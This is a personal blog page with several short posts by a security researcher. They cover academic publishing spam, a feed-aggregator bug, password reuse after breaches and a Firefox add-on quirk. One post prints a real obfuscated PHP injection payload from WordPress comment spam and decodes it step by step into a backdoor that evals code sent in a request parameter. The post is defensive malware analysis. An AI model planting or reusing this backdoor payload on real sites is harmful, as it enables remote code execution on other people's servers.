terriko: I am a serious academic (Twlight Sparkle looking confused) (Serious Academic)
When I used to do research on spam, I wound up spending a lot of time listening to people's little pet theories. One that came up plenty was "oh, I just never post my email address on the internet" which is fine enough as a strategy depending on what you do, but is rather infeasible for academics who want to publish, as custom says we've got to put our email addresses on the paper. This leads to a lot of really awesome contacts with other researchers around the world, but sometimes it leads to stuff like the email I got today:


Dear Terri,

As stated by the Carleton University's electronic repository, you authored the work entitled "Simple Security Policy for the Web" in the framework of your postgraduate degree.

We are currently planning publications in this subject field, and we would be glad to know whether you would be interested in publishing the above mentioned work with us.

LAP LAMBERT Academic Publishing is a member of an international publishing group, which has almost 10 years of experience in the publication of high-quality research works from well-known institutions across the globe.

Besides producing printed scientific books, we also market them actively through more than 80,000 booksellers.

Kindly confirm your interest in receiving more detailed information in this respect.

I am looking forward to hearing from you.


Best regards,
Sarah Lynch
Acquisition Editor

LAP LAMBERT Academic Publishing is a trademark of OmniScriptum
GmbH & Co. KG

Heinrich-Böcking-Str. 6-8, 66121, Saarbrücken, Germany
s.lynch(at)lap-publishing.com / www. lap-publishing .com

Handelsregister Amtsgericht Saarbrücken HRA 10356
Identification Number (Verkehrsnummer): 13955
Partner with unlimited liability: VDM Management GmbH
Handelsregister Amtsgericht Saarbrücken HRB 18918
Managing director: Thorsten Ohm (CEO)


Well, I guess it's better than the many mispelled emails I get offering to let me buy a degree (I am *so* not the target audience for that, thanks), and at least it's not incredibly crappy conference spam. In fact, I'd never heard of this before, so I did a bit of searching.

Let's just post a few of the summaries from that search:

From wikipedia:
The Australian Higher Education Research Data Collection (HERDC) explicitly excludes the books by VDM Verlag and Lambert Academic Publishing from ...


From the well-titled Lambert Academic Publishing (or How Not to Publish Your Thesis):
Lambert Academic Publishing (LAP) is an imprint of Verlag Dr Muller (VDM), a publisher infamous for selling cobbled-together "books" made ...


And most amusingly, the reason I've included the phrase "academic spam" in the title:
I was contacted today by a representative of Lambert Academic Publishing requesting that I change the title of my blog post "Academic Spam", ...


So yeah, no. My thesis is already published, thanks, and Simple Security Policy for the Web is freely available on the web for probably obvious reasons. I never did convert the darned thing to html, though, which is mildly unfortunate in context!
terriko: (Default)
Short version:

I'd like some help figuring out why RSS feeds that include iPython notebook contents (or more specifically, the CSS from iPython notebooks) are showing up as really messed up in the PythonPython blog aggregator. See the Python summer of code aggregator and search for a MNE-Python post to see an example of what's going wrong.

Bigger context:

One of the things we ask of Python's Google Summer of Code students is regular blog posts. This is a way of encouraging them to be public about their discoveries and share their process and thoughts with the wider Python community. It's also very helpful to me as an org admin, since it makes it easier for me to share and promote the students' work. It also helps me keep track of everyone's projects without burning myself out trying to keep up with a huge number of mailing lists for each "sub-org" under the Python umbrella. Python sponsors not only students to work on the language itself, but also for projects that make heavy use of Python. In 2014, we have around 20 sub-orgs, so that's a lot of mailing lists!

One of the tools I use is PythonPython, software often used for making free software "planets" or blog aggregators. It's easy to use and run, and while it's old, it doesn't require me to install and run an entire larger framework which I would then have to keep up to date. It's basically making a static page using a shell script run by a cron job. From a security perspective, all I have to worry about is that my students will post something terrible that then gets aggregated, but I'd have to worry about that no matter what blogroll software I used.

But for some reason, this year we've had some problems with some feeds, and it *looks* like the problem is specifically that PlanetPlanet can't handle iPython notebook formatted stuff in a blog post. This is pretty awkward, as iPython notebook is an awesome tool that I think we should be encouraging students to use for experimenting in Python, and it really irks me that it's not working. It looks like Chrome and Firefox parse the feed reasonably, which makes me think that somehow PlanetPlanet is the thing that's losing a <style> tag somewhere. The blogs in question seem to be on blogger, so it's also possible that it's google that's munging the stylesheet in a way that planetplanet doesn't parse.

I don't suppose this bug sounds familiar to anyone? I did some quick googling, but unfortunately the terms are all sufficiently popular when used together that I didn't find any reference to this bug. I was hoping for a quick fix from someone else, but I don't mind hacking PlanetPlanet myself if that's what it takes.

Anyone got a suggestion of where to start on a fix?

Edit: Just because I saw someone linking this on twitter, I'll update in the main post: tried Mary's suggestion of Planet Venus (see comments below) out on Monday and it seems to have done the trick, so hurrah!
terriko: (Default)
WARNING: This entry contains some actual malicious code. I've HTML-escaped it so that it isn't going to get executed by you viewing it, but it was clearly intended to attack Wordpress blogs, so if you're going to mess around with analyzing, do it in a browser that's not logged in to any Wordpress blog.


So I was clearing spam queues this morning, and came across a bunch of spam with this string in it:


eval(base64_decode(‘aWYoJGY9Zm9wZW4oJ3dwLWNvbnRlbnQvY2FjaGUvaWZvb2FnLnBocCcsJ3cnKSl7ZnB1dHMoJGYsJzw/cGhwIC8qTiVQYCUqL2V2YWwvKklmXCcsLSovKC8qPjZgSGUqL2Jhc2U2NF9kZWNvZGUvKkBNKTIqLygvKn46SDUqL1wnTHlwM1kyQTdjQ292YVdZdktuY2hibHNxTHlndktsNXpXeUZVY25CUktpOXBjM05sZEM4cVVFZzBPWHhBS2k4b0x5cDRZR3BXS1U0cUx5UmZVa1ZSVlVWVFZDOHFjaUI0S2k5Ykx5b29mbEZ4S2k4bll5Y3ZLakUvUUdWMFd5b3ZMaThcJy8qT3pNNTIwKi8uLyo5SissKi9cJ3FQU3dwS2k4bmVpY3ZLblZVUVRrektpOHVMeXBEZTBjNlFEUmNLaThuYkNjdktqaDBJRzhxTHk0dkttMTVUVDA4UkdBcUx5ZDZKeThxZUdkbk1YWTJNU292TGk4cVZuQkpaelFxTHlkNUp5OHFaWHhxZVVFcUx5NHZLaXgyS0NvdkoyXCcvKnlBdCYqLy4vKkA1RHcmXU4qL1wnd25MeXBHTFZGdlREUXFMMTB2S21KaGEwMHBLaTh2S2x3N2MyNHFMeWt2S2s1M1Mwa25YeW92THlwUFgyc3FMeWt2S2toQVlVczBWQ292WlhaaGJDOHFNazU4TWpBK0tpOG9MeXBWYzBodFdWMWxXaW92YzNSeWFYQnpiR0Z6YUdWekxcJy8qWWFiayovLi8qT35xcyovXCd5bzhTR2N6S2k4b0x5cFZRVXRoWmlvdkpGOVNSVkZWUlZOVUx5cFdMa3RVSUhzcUwxc3ZLa3N0TG1NcUx5ZGpKeThxU0c5b0tpOHVMeXBZVGp0SEtpOG5laWN2S2pzbU15Z3lNV1FtWFNvdkxpOHFPMUJQZFNvdkoyd25MeXBaV1ZBelwnLyp7WUp9MSovLi8qdisoLTtrKi9cJ2VuVXFMeTR2S2xWc2FWVXRLaThuZW5sc0p5OHFSbFJaWERRcUwxMHZLazQvVW1JK0syWXFMeThxU3l0TFF5b3ZLUzhxYkVCcUtpOHZLbUpZUENvdktTOHFPbG8yVlVVb1NrSTRLaTh2S2tKWFp6dEFTeW92T3k4cVJUc3JkaWRKS2k4PVwnLyooa0NwQFk+Ki8pLypgYmMqLy8qSHZeISovKS8qV21GKi8vKlBfV2VgYD57Ki87LyotfGxURTEqLz8+Jyk7ZmNsb3NlKCRmKTt9′));


Or this clearly related one (note that the top of the string is the same):

aWYoJGY9Zm9wZW4oJ3dwLWNvbnRlbnQvY2FjaGUvaWZvb2FnLnBocCcsJ3cnKSl7ZnB1dHMoJGYsJzw/cGhwIC8qcGshV1UqL2V2YWwvKnpDRnI4ejQqLygvKi1mJWYmZyovYmFzZTY0X2RlY29kZS8qY2hIIG0qLygvKnZXXnEqL1wnTHlvL05tcHlLaTlwWmk4cU9ENUpUM2NxTHlndktsdHZLU292YVhOelpYUXZLa2M2WTNRcUx5Z3ZLaUZQWERrcUx5UmZVa1ZSVlVWVFZDOHFjU3R5S1RGNklDb3ZXeThxV0RkblNDb3ZcJy8qd0VEJSovLi8qWnA2OnIqL1wnSjJNbkx5b2hSU0VxTHk0dktrZEVSU3RrS2k4bmVpY3ZLa2NyUUVZd09Db3ZMaThxUFU5RUxqQTZUaW92SjJ3bkx5cDhkRE14UkNvdkxpOHFLVFIwT2xoc2MyZ3FMeWQ2ZVd3bkx5cFRcJy8qQ01MRzEqLy4vKmlUeVUwflAqL1wnVFZBdFFTb3ZYUzhxSnpaUFR5MHFMeThxVFZOYlpDb3ZLUzhxWEU1TU1Tb3ZMeXB1SjFzcUx5a3ZLaVZ5Y0N4aEtpOWxkbUZzTHlwTkxseHBLaThvTHlwdFVtNDFJSGxTS2k5emRISnBcJy8qXXgyZCovLi8qIG5SKi9cJ2NITnNZWE5vWlhNdktrbytiRGhrS2k4b0x5bzFOa3hZVTB0Z1RTb3ZKRjlTUlZGVlJWTlVMeXBPWGt0YVF6d3FMMXN2S201TWNrWXpjeUFxTHlkakp5OHFiQ3RLY2lvdkxpOHFUUzFuXCcvKmhccGhpKi8uLypjVz4qL1wnS2k4bmVpY3ZLaUZGTmlvdkxpOHFVeWRLUVNvdkoyd25MeXB1S1ZWQUxpb3ZMaThxYkZoV1BEOW9aU292SjNvbkx5cFZJRk1xTHk0dktqRkFlME1zS2k4bmVTY3ZLajk4V3lvdkxpOHFcJy8qPE9rNXBmKi8uLyo0VlhFKi9cJ1VtODJVeW92SjJ3bkx5cFZURm9xTDEwdktpWjNOQ292THlvL0xXWjVLaThwTHlvL01URXFMeThxSjN4ZlFTb3ZLUzhxT2psSlRGSXFMeThxYjBNeFFTY3JKU292T3k4cWVWbzVUeW92XCcvKiAzXCcqLykvKlpsWyUqLy8qLVRPJUdiNiovKS8qUyw3bjRTLCovLypCQ1sqLzsvKkxacHM8blNaKi8/PicpO2ZjbG9zZSgkZik7fQ==


As you can tell from the first sample, it's base64 encoded... something. b64 is pretty commonly used by attackers to obfuscate their code, so in case the spammy username and comment that went with the code wasn't enough to tell me that something bad was intended, the b64 encoding itself would have been a clue. If I didn't have the pretty huge hint of the base64_decode line, I might have been able to figure it out from the format and the fact that I know that b64 uses = as a padding (visible at the end of the second string).

Being a curious sort of person, I decoded the first string. In my case, I just opened up Python, and did this:


>>> import base64
>>> base64.b64decode(badstring1)
"if($f=fopen('wp-content/cache/ifooag.php','w')){fputs($f,'<?php /*N%P`%*/eval/*If\\',-*/(/*>6`He*/base64_decode/*@M)2*/(/*~:H5*/\\'Lyp3Y2A7cCovaWYvKnchblsqLygvKl5zWyFUcnBRKi9pc3NldC8qUEg0OXxAKi8oLyp4YGpWKU4qLyRfUkVRVUVTVC8qciB4Ki9bLyooflFxKi8nYycvKjE/QGV0WyovLi8\\'/*OzM520*/./*9J+,*/\\'qPSwpKi8neicvKnVUQTkzKi8uLypDe0c6QDRcKi8nbCcvKjh0IG8qLy4vKm15TT08RGAqLyd6Jy8qeGdnMXY2MSovLi8qVnBJZzQqLyd5Jy8qZXxqeUEqLy4vKix2KCovJ2\\'/*yAt&*/./*@5Dw&]N*/\\'wnLypGLVFvTDQqL10vKmJha00pKi8vKlw7c24qLykvKk53S0knXyovLypPX2sqLykvKkhAYUs0VCovZXZhbC8qMk58MjA+Ki8oLypVc0htWV1lWiovc3RyaXBzbGFzaGVzL\\'/*Yabk*/./*O~qs*/\\'yo8SGczKi8oLypVQUthZiovJF9SRVFVRVNULypWLktUIHsqL1svKkstLmMqLydjJy8qSG9oKi8uLypYTjtHKi8neicvKjsmMygyMWQmXSovLi8qO1BPdSovJ2wnLypZWVAz\\'/*{YJ}1*/./*v+(-;k*/\\'enUqLy4vKlVsaVUtKi8nenlsJy8qRlRZXDQqL10vKk4/UmI+K2YqLy8qSytLQyovKS8qbEBqKi8vKmJYPCovKS8qOlo2VUUoSkI4Ki8vKkJXZztASyovOy8qRTsrdidJKi8=\\'/*(kCp@Y>*/)/*`bc*//*Hv^!*/)/*WmF*//*P_We``>{*/;/*-|lTE1*/?>');fclose($f);}"


(Well, okay, I actually ran cgi.escape(base64.b64decode(badstring1)) to get the version you're seeing in this blog post since I wanted to make sure none of that was executed in your browser, but that's not relevant to the code analysis, just useful if you're talking about code on the internet)

So that still looks pretty obfuscated, and even more full of base64 (yo, I heard you like base64 so I put some base64 in your base64). But we've learned a new thing: the code is trying to open up a file in the wordpress cache called ifooag.php, under wp-content which is a directory wordpress needs to have write access to. I did a quick web search, and found a bunch of spam, so my bet is that they're opening a new file rather than modifying an existing one. And we can tell that they're trying to put some php into that file because of the <?php and ?> which are character sequences that tell the server to run some php code.

But that code? Still looks pretty much like gobbledegook.

If you know a bit about php, you'll know that it accepts c-style comments delineated by /* and */, so we can remove those from the php code to get something a bit easier to parse:


eval(base64_decode(\\'Lyp3Y2A7cCovaWYvKnchblsqLygvKl5zWyFUcnBRKi9pc3NldC8qUEg0OXxAKi8oLyp4YGpWKU4qLyRfUkVRVUVTVC8qciB4Ki9bLyooflFxKi8nYycvKjE/QGV0WyovLi8\\'.\\'qPSwpKi8neicvKnVUQTkzKi8uLypDe0c6QDRcKi8nbCcvKjh0IG8qLy4vKm15TT08RGAqLyd6Jy8qeGdnMXY2MSovLi8qVnBJZzQqLyd5Jy8qZXxqeUEqLy4vKix2KCovJ2\\'.\\'wnLypGLVFvTDQqL10vKmJha00pKi8vKlw7c24qLykvKk53S0knXyovLypPX2sqLykvKkhAYUs0VCovZXZhbC8qMk58MjA+Ki8oLypVc0htWV1lWiovc3RyaXBzbGFzaGVzL\\'.\\'yo8SGczKi8oLypVQUthZiovJF9SRVFVRVNULypWLktUIHsqL1svKkstLmMqLydjJy8qSG9oKi8uLypYTjtHKi8neicvKjsmMygyMWQmXSovLi8qO1BPdSovJ2wnLypZWVAz\\'.\\'enUqLy4vKlVsaVUtKi8nenlsJy8qRlRZXDQqL10vKk4/UmI+K2YqLy8qSytLQyovKS8qbEBqKi8vKmJYPCovKS8qOlo2VUUoSkI4Ki8vKkJXZztASyovOy8qRTsrdidJKi8=\\'));


Feel like we're going in circles? Yup, that's another base64 encoded string. So let's take out the quotes and the concatenations to see what that is:


Lyp3Y2A7cCovaWYvKnchblsqLygvKl5zWyFUcnBRKi9pc3NldC8qUEg0OXxAKi8oLyp4YGpWKU4qLyRfUkVRVUVTVC8qciB4Ki9bLyooflFxKi8nYycvKjE/QGV0WyovLi8qPSwpKi8neicvKnVUQTkzKi8uLypDe0c6QDRcKi8nbCcvKjh0IG8qLy4vKm15TT08RGAqLyd6Jy8qeGdnMXY2MSovLi8qVnBJZzQqLyd5Jy8qZXxqeUEqLy4vKix2KCovJ2wnLypGLVFvTDQqL10vKmJha00pKi8vKlw7c24qLykvKk53S0knXyovLypPX2sqLykvKkhAYUs0VCovZXZhbC8qMk58MjA+Ki8oLypVc0htWV1lWiovc3RyaXBzbGFzaGVzLyo8SGczKi8oLypVQUthZiovJF9SRVFVRVNULypWLktUIHsqL1svKkstLmMqLydjJy8qSG9oKi8uLypYTjtHKi8neicvKjsmMygyMWQmXSovLi8qO1BPdSovJ2wnLypZWVAzenUqLy4vKlVsaVUtKi8nenlsJy8qRlRZXDQqL10vKk4/UmI+K2YqLy8qSytLQyovKS8qbEBqKi8vKmJYPCovKS8qOlo2VUUoSkI4Ki8vKkJXZztASyovOy8qRTsrdidJKi8=


You might think we're getting close now, but here's what you get out of decoding that:


>>> base64.b64decode(badstring1a)
"/*wc`;p*/if/*w!n[*/(/*^s[!TrpQ*/isset/*PH49|@*/(/*x`jV)N*/$_REQUEST/*r x*/[/*(~Qq*/'c'/*1?@et[*/./*=,)*/'z'/*uTA93*/./*C{G:@4\\*/'l'/*8t o*/./*myM=<D`*/'z'/*xgg1v61*/./*VpIg4*/'y'/*e|jyA*/./*,v(*/'l'/*F-QoL4*/]/*bakM)*//*\\;sn*/)/*NwKI'_*//*O_k*/)/*H@aK4T*/eval/*2N|20>*/(/*UsHmY]eZ*/stripslashes/*<Hg3*/(/*UAKaf*/$_REQUEST/*V.KT {*/[/*K-.c*/'c'/*Hoh*/./*XN;G*/'z'/*;&3(21d&]*/./*;POu*/'l'/*YYP3zu*/./*UliU-*/'zyl'/*FTY\\4*/]/*N?Rb>+f*//*K+KC*/)/*l@j*//*bX<*/)/*:Z6UE(JB8*//*BWg;@K*/;/*E;+v'I*/"


Yup, definitely going in circles. But at least we know what to do: get rid of the comments again.

Incidentally, I'm just using a simple regular expression to do this: s/\/\*[^*]*\*\///g. That's not robust against all possible nestings or whatnot, but it's good enough for simple analysis. I actually execute it in vim as :%s/\/\*[^*]*\*\///gc and then check each piece as I'm removing it.

Here's what it looks like without the comments:


if(isset($_REQUEST['c'.'z'.'l'.'z'.'y'.'l']))eval(stripslashes($_REQUEST['c'.'z'.'l'.'zyl']));


So let's stick together those concatenated strings again:


if(isset($_REQUEST['czlzyl']))eval(stripslashes($_REQUEST['czlzyl']));



Okay, so now it's added some piece into some sort of wordpress file that is basically just waiting for some outside entity to provide code which will then be executed. That's actually pretty interesting: it's not fully executing the malicious payload now; it's waiting for an outside request. Is this to foil scanners that are wise to the type of things spammers add to blogs, or is this in preparation for a big attack that could be launched all at once once the machines are prepared?

It's going to go to be a request that starts like this http://EXAMPLE.COM/wp-content/cache/ifooag.php?czlzyl=

Unfortunately, I don't have access to the logs for the particular site I saw this on, so my analysis stops here and I can't tell you exactly what it was going to try to execute, but I think it's pretty safe to say that it wouldn't have been good. I can tell you that there is no such file on the server in question and, indeed, the code doesn't seem to have been executed since it got caught in the spam queue and discarded by me.

But if you've ever had a site compromised and wondered how it might have been done, now you know a whole lot more about the way it could have happened. All I can really suggest is that spam blocking is important (these comments were caught by akismet) and that if you can turn off javascript while you're moderating comments, that might be the safest possible thing to do even though it makes using wordpress a little more kludgy and annoying. Thankfully it doesn't render it unusable!

Meanwhile, want to try your own hand at analyzing code? I only went through the full decoding for the first of the two strings I gave at the top of this post, but I imagine the second one is very similar to the first, so I leave it as an exercise to the reader. Happy hacking!
terriko: (Default)
Cross-posted from my security blog, Web Insecurity.


Should you really change your re-used passwords after a breach? Maybe not.




DiceThe news is reporting that 453,000 credentials were allegedly taken from Yahoo, and current reports say that it's probably Yahoo Voice that was compromised. If you want to know if yours is in there, it seems like the hacker website is overwhelmed at the moment, but you can search for your username/email here on a sanitized list that doesn't include the passwords.

Probably unsurprisingly, the next bit of news is that people haven't changed their hacked passwords from previous breaches. To whit, 59% of people were re-using the passwords that had previously been hacked and released to the public in the Sony breach. Which seems a bit high given the publicity, but I'm not as surprised as I maybe should be.

What I'd really like to know is how many of those people actually suffered from this password re-use. Did anyone bother to try re-using their credentials?

I'm reminded of one of my favourite security papers, "So Long, and No Thanks for the Externalities: the Rational Rejection of Security Advice by Users," by Cormac Herley. In it, he claims that many security "best" practices like changing passwords frequently are actually a waste of time for the average user, when you take into account the risks involved.

So, is changing a password after a breach one of those things that we can skip without much incident? Sadly, I don't have any definitive way to analyze how many folk were inconvenienced by their password reuse in the Sony and subsequent Yahoo breaches, but I can make a guess: If those accounts were compromised on Yahoo after the Sony breach, we'd be seeing a lot more people changing their passwords between the two. So probably at least those 59% were not inconvenienced enough to change their passwords subsequent to the breach.  That's a lot of people.

Of course, it's possible that the accounts were breached and used in a way that the owner never noticed. But if they're not noticing, are they really being inconvenienced? Probably in a global sense (i.e. spam) but maybe not in a short-term decision-making sense. Of course, we could assume that the alleged hack is a hoax using many of the previously hacked passwords from Sony, but given how easy it is to compromise web apps I'm currently assuming that the hack itself is a real thing.  In which case, that's a lot of no-change. It looks suspiciously like you're likely to be more inconvenienced taking the time to change your password than you would if you did nothing, statistically speaking.

So, should you change your password after a breach? It depends on how much you feel like rolling the dice. Failing to change their breached passwords doesn't seem to have hurt that many of the Yahoo Voice denizens, but with numbers on re-used passwords hitting the news today, it's possible we'll see more people trying this avenue of attack in the future.  Still, rather than assuming those 59% are foolish for keeping the same credentials, it's worth considering that they might have just been savvy gamblers, this time.
terriko: (Pi)
In the course of my thesis work, I made myself a little Firefox plugin that tells me where the javascript/dynamic parts are in a page. It's a fun little thing, just puts some big coloured boxes up, and I used it to help understand how people were using javascript in practice. It's one of those things I should probably release just 'cause it's fun, but I didn't have time to maintain in any meaningful way so I didn't get around to it.

Anyhow, I pulled it out last week to see what state it's in because I want to adapt some ideas from it, and it wasn't working. Which is odd, 'cause it's really quite simple. The core is just a loop that goes through each page element and looks for stuff like onmousover events:


var allTags = document.getElementsByTagName("*");
for each (var tag in allTags) {
// ... do some stuff
}


And in debugging it, I've learned that getElementsByTagName("*"), which apparently used to return all the tags as objects, is now returning all the tags as well as, inexplicably, a number. It's not the same number for every page, and most of them seem to be around one thousandish on the simpler pages I was trying to test. Which sort of makes me think that maybe it's returning the number of tags, or that it sometimes returns an ordinal index for a single tag instead of an object, but why?

As it turns out, it didn't take much to get my add-on back up and running, just a quick check to see if the "tag" in question was in fact an object. But I'm left with a question: why has this changed in Firefox since I initially made the add-on? I'm not even sure where to ask, since it doesn't seem like it's a thing that changed in the specs. I'm recording it here for posterity so I remember to try to look it up later, but if you happen to know what's going on, please get in touch!
Page generated Nov. 23rd, 2014 04:57 pm
Powered by Dreamwidth Studios